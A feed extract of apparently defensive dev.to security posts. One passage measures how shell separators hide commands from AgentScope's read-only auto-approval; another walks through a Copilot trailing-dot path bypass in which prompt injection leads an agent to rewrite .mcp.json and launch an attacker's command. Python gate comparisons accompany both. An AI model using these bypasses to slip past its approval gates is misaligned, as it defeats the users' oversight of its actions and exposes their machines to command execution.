    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;PLAIN&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fullmatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;      &lt;span class="c1"&gt;# any newline, &amp;amp;, ;, |, $, quote, backtick, redirect...
&lt;/span&gt;        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ask&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;argv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;allow&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;SAFE_ARGV0&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ask&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The idea is an allowlist at two levels. The character set admits only characters that cannot start a new command, expand a variable or open a redirect. The command list admits only a few names. Anything unrecognized falls to a human, not to the fast path.&lt;/p&gt;

&lt;p&gt;Results on the same 70-string grid: &lt;strong&gt;0 allowed&lt;/strong&gt;. That number is not impressive on its own, because every string in the grid contains a separator, so a gate that bans separators passes trivially. The honest comparison is the cost side. I ran 16 ordinary read-only commands through both gates:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Gate&lt;/th&gt;
&lt;th&gt;Benign commands auto-allowed (of 16)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;AgentScope 2.0.11 fast path&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Strict plain-word allowlist&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D400%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Hidden-tail%2520commands%2520auto-allowed%2520%252840%2520of%252063%2520that%2520ran%2529%2522%252C%2522Benign%2520commands%2520auto-allowed%2520%2528of%252016%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522AgentScope%25202.0.11%2520fast%2520path%2522%252C%2522data%2522%253A%255B63.5%252C100%255D%252C%2522backgroundColor%2522%253A%2522%2523f59e0b%2522%257D%252C%257B%2522label%2522%253A%2522strict%2520plain-word%2520allowlist%2522%252C%2522data%2522%253A%255B0%252C62.5%255D%252C%2522backgroundColor%2522%253A%2522%25232563eb%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522The%2520price%2520of%2520closing%2520the%2520hole%253A%25206%2520of%252016%2520benign%2520commands%2520now%2520ask%2522%252C%2522fontSize%2522%253A17%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%252C%2522max%2522%253A100%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522%2525%2520auto-allowed%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D400%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Hidden-tail%2520commands%2520auto-allowed%2520%252840%2520of%252063%2520that%2520ran%2529%2522%252C%2522Benign%2520commands%2520auto-allowed%2520%2528of%252016%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522AgentScope%25202.0.11%2520fast%2520path%2522%252C%2522data%2522%253A%255B63.5%252C100%255D%252C%2522backgroundColor%2522%253A%2522%2523f59e0b%2522%257D%252C%257B%2522label%2522%253A%2522strict%2520plain-word%2520allowlist%2522%252C%2522data%2522%253A%255B0%252C62.5%255D%252C%2522backgroundColor%2522%253A%2522%25232563eb%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522The%2520price%2520of%2520closing%2520the%2520hole%253A%25206%2520of%252016%2520benign%2520commands%2520now%2520ask%2522%252C%2522fontSize%2522%253A17%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%252C%2522max%2522%253A100%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522%2525%2520auto-allowed%2522%257D%257D%255D%257D%257D%257D" alt="Bar chart comparing hidden-tail commands allowed and benign commands allowed for both gates" width="1600" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The 6 that asked: &lt;code&gt;git status&lt;/code&gt;, &lt;code&gt;git log --oneline -5&lt;/code&gt;, &lt;code&gt;cat "my file.txt"&lt;/code&gt;, &lt;code&gt;find . -name '*.py'&lt;/code&gt;, &lt;code&gt;ls | head -3&lt;/code&gt; and &lt;code&gt;cat f.txt | wc -l&lt;/code&gt;. Some of those I would want auto-allowed. That is where the real engineering is: you widen the safe area on purpose, one construct at a time, with a parser that understands the construct (a tree-sitter or bashlex tree, with every command node in the string checked against the allowlist and its flags), rather than by trusting a prefix match.&lt;/p&gt;

&lt;p&gt;Three rules I would take from this to any agent gate that has a fast path:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Define "one command" the way the interpreter does.&lt;/strong&gt; If a string can contain more than one command, check all of them. Fail closed on any construct the gate does not understand.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Judge flags, not just names.&lt;/strong&gt; &lt;code&gt;sed&lt;/code&gt; with an execute flag, &lt;code&gt;rg --pre&lt;/code&gt; and &lt;code&gt;find -delete&lt;/code&gt; are "read-only" commands that run or delete things. A command name is not a capability.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test the fast path with a differential harness.&lt;/strong&gt; Generate strings, record the verdict, execute a harmless twin, and compare. It took under 100 lines and found the problem in one run.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Limits of this measurement
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;One package version (2.0.11), one OS, one bash. A different shell or platform may tokenize differently.&lt;/li&gt;
&lt;li&gt;The grid used 7 heads and 10 separators. It shows that the hole exists and where its edge is, not how often a model would emit such a string unprompted.&lt;/li&gt;
&lt;li&gt;The verdicts are for the function as called in the default mode. Other layers in a real deployment (a sandbox, a container, an outer approval step) may limit the damage. I did not test any of them.&lt;/li&gt;
&lt;li&gt;I did not contact the maintainers. Check the issue pages for current status before relying on my dates.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Is this a new vulnerability disclosure?&lt;/strong&gt;&lt;br&gt;
No. The separator bypass has been public in the project's issue tracker since 2026-08-31 (#2470) and was reported again on 2026-10-25 (#3473). My contribution is a reproducible measurement on the latest release and a comparison with a stricter gate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does this affect me if I use a different agent framework?&lt;/strong&gt;&lt;br&gt;
The specific code is AgentScope's. The pattern is common: any tool that auto-approves commands by matching a prefix or a command name can have the same gap. Check how yours defines a "compound command" and test it with a newline and a bare &lt;code&gt;&amp;amp;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why not just add &lt;code&gt;&amp;amp;&lt;/code&gt; and newline to the separator list?&lt;/strong&gt;&lt;br&gt;
That closes today's two holes and leaves the next one (for example a here-document, a line continuation or a construct the list does not name). Parsing the string and checking every command node is a better fix than extending a list. Allowlisting plain words and asking about the rest is simpler still, at the usability cost shown above.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does a sandbox make the fast path irrelevant?&lt;/strong&gt;&lt;br&gt;
It limits the damage, but it does not make the gate correct. If the gate is meant to protect the user's real files and the shell runs on the host, the sandbox is the only thing between a hidden command and those files. Treat the gate and the sandbox as two independent layers, not one excuse for neglecting the other.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;p&gt;Earlier posts in this series:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A Trailing Dot Beat the Agent's Edit Gate: Check the Path the OS Will Open, Not the String the Model Sent (published 2026-11-03, same series)&lt;/li&gt;
&lt;li&gt;Authenticated Is Not Authorized: What a 9.3 Fail-Open Default in an Agent Mesh Teaches About Tool Gateways (published 2026-11-02, same series)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/agentscope-ai/agentscope/issues/2470" rel="noopener noreferrer"&gt;AgentScope issue #2470: &lt;code&gt;&amp;amp;&lt;/code&gt; and newline separators bypass the Bash read-only auto-allow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/agentscope-ai/agentscope/issues/3473" rel="noopener noreferrer"&gt;AgentScope issue #3473: Bash read-only fast path auto-allows hidden commands&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/agentscope-ai/agentscope/issues/3313" rel="noopener noreferrer"&gt;AgentScope issue #3313: &lt;code&gt;tee&lt;/code&gt; misclassified as read-only&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/agentscope-ai/agentscope/issues/3016" rel="noopener noreferrer"&gt;AgentScope issue #3016: shell variable spellings hide paths from Bash safety checks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/agentscope-ai/agentscope/pull/3255" rel="noopener noreferrer"&gt;AgentScope pull request #3255: stop treating &lt;code&gt;rg --pre&lt;/code&gt; and &lt;code&gt;tree -o&lt;/code&gt; as read-only&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vuldb.com/vuln/431396" rel="noopener noreferrer"&gt;VulDB entry for CVE-2026-123023&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/agentscope/" rel="noopener noreferrer"&gt;AgentScope on PyPI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Code and measurements in this post were run on 2026-11-05 (Windows 11 build 26200, Python 3.12.10, agentscope 2.0.11, GNU bash 5.2.37 from Git for Windows). The probe and grid scripts are short enough to reproduce from the snippets above.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>security</category>
      <category>agents</category>
    </item>
    <item>
      <title>A Trailing Dot Beat the Agent's Edit Gate: Check the Path the OS Will Open, Not the String the Model Sent</title>
      <dc:creator>hugginf_expert</dc:creator>
      <pubDate>Tue, 03 Nov 2026 15:07:39 +0000</pubDate>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f/a-trailing-dot-beat-the-agents-edit-gate-check-the-path-the-os-will-open-not-the-string-the-590l</link>
      <guid>https://dev.to/ginigenai_hp_0ae441ead91f/a-trailing-dot-beat-the-agents-edit-gate-check-the-path-the-os-will-open-not-the-string-the-590l</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What was reported:&lt;/strong&gt; CVE-2026-103572 (Microsoft rates it Important, CVSS 8.8 per the researcher's write-up) is a path-validation bypass in GitHub Copilot inside Visual Studio and SSMS. The agent's "ask before editing a protected file" check compared filename strings. Windows silently drops a trailing dot, so &lt;code&gt;.mcp.json.&lt;/code&gt; passed the check and then wrote to &lt;code&gt;.mcp.json&lt;/code&gt;. Microsoft shipped the fix on 2026-10-13.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Why it matters beyond one product:&lt;/strong&gt; &lt;code&gt;.mcp.json&lt;/code&gt; tells the IDE which commands to launch as MCP servers. An agent that can rewrite it, even after one indirect prompt injection, can get arbitrary command execution on the next launch.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What I measured:&lt;/strong&gt; on a Windows 11 machine I tried five spellings of the same protected file against three gates. A string-match gate let all 4 working aliases through when the file existed. A "canonicalize with &lt;code&gt;realpath&lt;/code&gt;, then deny-list" gate caught all of them when the file existed, and still let &lt;strong&gt;3 of 4 through when the file had not been created yet&lt;/strong&gt;. An allowlist gate that also rejects alias syntax let 0 through.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The lesson:&lt;/strong&gt; validate the path the operating system will open, and prefer "writes allowed only here" over "writes blocked there".&lt;/li&gt;
&lt;li&gt;Everything below, including the code and the raw output, was run before publishing. One machine, one Python version, stated plainly.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What does CVE-2026-103572 actually say?
&lt;/h2&gt;

&lt;p&gt;I cross-checked three public write-ups: the researcher's own post on Embrace The Red, a Cloud Security Alliance research note, and an Adversa monthly roundup. They agree on the mechanism and the timeline.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;What the sources say&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Microsoft.VisualStudio.Copilot.Core.dll&lt;/code&gt;, method &lt;code&gt;EditsFunctionHandler.GetEditConfirmationTypeAsync&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported to MSRC&lt;/td&gt;
&lt;td&gt;2026-08-04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Confirmed by Microsoft&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched&lt;/td&gt;
&lt;td&gt;2026-10-13 (Patch Tuesday)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;Important, RCE, CVSS 8.8 in the researcher's analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Protected files&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.mcp.json&lt;/code&gt;, &lt;code&gt;settings.VisualStudio.json&lt;/code&gt;, &lt;code&gt;SSMS.isolation.ini&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fix&lt;/td&gt;
&lt;td&gt;Call &lt;code&gt;GetFullPath&lt;/code&gt; before validating, which strips the trailing dot and resolves &lt;code&gt;..&lt;/code&gt; segments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed builds (CSA note)&lt;/td&gt;
&lt;td&gt;17.14.42 for VS 2022 17.14, 18.10.4 for VS 2026 18.10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exploitation&lt;/td&gt;
&lt;td&gt;Needs indirect prompt injection (an opened file or MCP server output). No in-the-wild exploitation reported in the sources I read&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;One caveat on scope: the sources differ on whether SSMS and Visual Studio 2022 appear on Microsoft's official affected list. I am not going to settle that here. If you run these products, read the vendor advisory for your build.&lt;/p&gt;

&lt;p&gt;The timeline, from the dates above:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D400%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522horizontalBar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Report%2520to%2520vendor%2520confirmation%2522%252C%2522Confirmation%2520to%2520patch%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522days%2522%252C%2522data%2522%253A%255B43%252C27%255D%252C%2522backgroundColor%2522%253A%255B%2522%25232563eb%2522%252C%2522%25237c3aed%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522CVE-2026-103572%253A%252070%2520days%2520from%2520report%2520%2528Aug%25204%2529%2520to%2520patch%2520%2528Oct%252013%2529%2522%252C%2522fontSize%2522%253A17%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522days%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D400%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522horizontalBar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Report%2520to%2520vendor%2520confirmation%2522%252C%2522Confirmation%2520to%2520patch%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522days%2522%252C%2522data%2522%253A%255B43%252C27%255D%252C%2522backgroundColor%2522%253A%255B%2522%25232563eb%2522%252C%2522%25237c3aed%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522CVE-2026-103572%253A%252070%2520days%2520from%2520report%2520%2528Aug%25204%2529%2520to%2520patch%2520%2528Oct%252013%2529%2522%252C%2522fontSize%2522%253A17%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522days%2522%257D%257D%255D%257D%257D%257D" alt="Days from report to confirmation and to patch" width="1600" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That is 43 days from report to confirmation and 27 more to the patch, 70 in total. It is a useful number if you rely on vendors to close agent-permission bugs for you: your own gate has to hold for weeks.&lt;/p&gt;

&lt;h2&gt;
  
  
  How does a trailing dot get past an edit gate?
&lt;/h2&gt;

&lt;p&gt;The attack chain in the write-ups is short:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Untrusted content (a file the agent opens, or text returned by an MCP server) carries a prompt injection.&lt;/li&gt;
&lt;li&gt;The agent proposes an edit to &lt;code&gt;.mcp.json.&lt;/code&gt; with a trailing dot.&lt;/li&gt;
&lt;li&gt;The gate compares the string against its protected list. &lt;code&gt;.mcp.json.&lt;/code&gt; is not in the list, so no confirmation dialog appears.&lt;/li&gt;
&lt;li&gt;The Win32 layer normalizes the name when the file is opened. The trailing dot is ignored, and the write lands on &lt;code&gt;.mcp.json&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The agent adds an attacker-defined stdio server, enables it, and the IDE launches the command.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Steps 3 and 4 disagree about what the file is called. The gate judged one string. The operating system acted on another. That gap, validate first and canonicalize later, is the whole bug, and it is not specific to Copilot or to Windows.&lt;/p&gt;

&lt;h2&gt;
  
  
  Which other spellings reach the same file?
&lt;/h2&gt;

&lt;p&gt;I did not want to take the "one trailing dot" story on faith, so I tested the class. On my machine (Windows 11 build 26200, Python 3.12.10) I wrote the string &lt;code&gt;INJECTED&lt;/code&gt; through each alias into a directory containing a protected &lt;code&gt;.mcp.json&lt;/code&gt;, then checked whether the protected file changed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tempfile&lt;/span&gt;

&lt;span class="n"&gt;PROTECTED&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.mcp.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;settings.visualstudio.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssms.isolation.ini&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;SAFE_PREFIXES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;src&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tests&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# writes allowed without a human only here
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;naive_gate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rel&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;            &lt;span class="c1"&gt;# string match on the name the model sent
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rel&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;PROTECTED&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;realpath_gate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rel&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;         &lt;span class="c1"&gt;# "canonicalize" with realpath, then deny-list
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rel&lt;/span&gt;&lt;span class="p"&gt;))).&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;PROTECTED&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hardened_gate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rel&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;         &lt;span class="c1"&gt;# allowlist + reject names Win32 would rewrite
&lt;/span&gt;    &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rstrip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; .&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;~&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abspath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rel&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
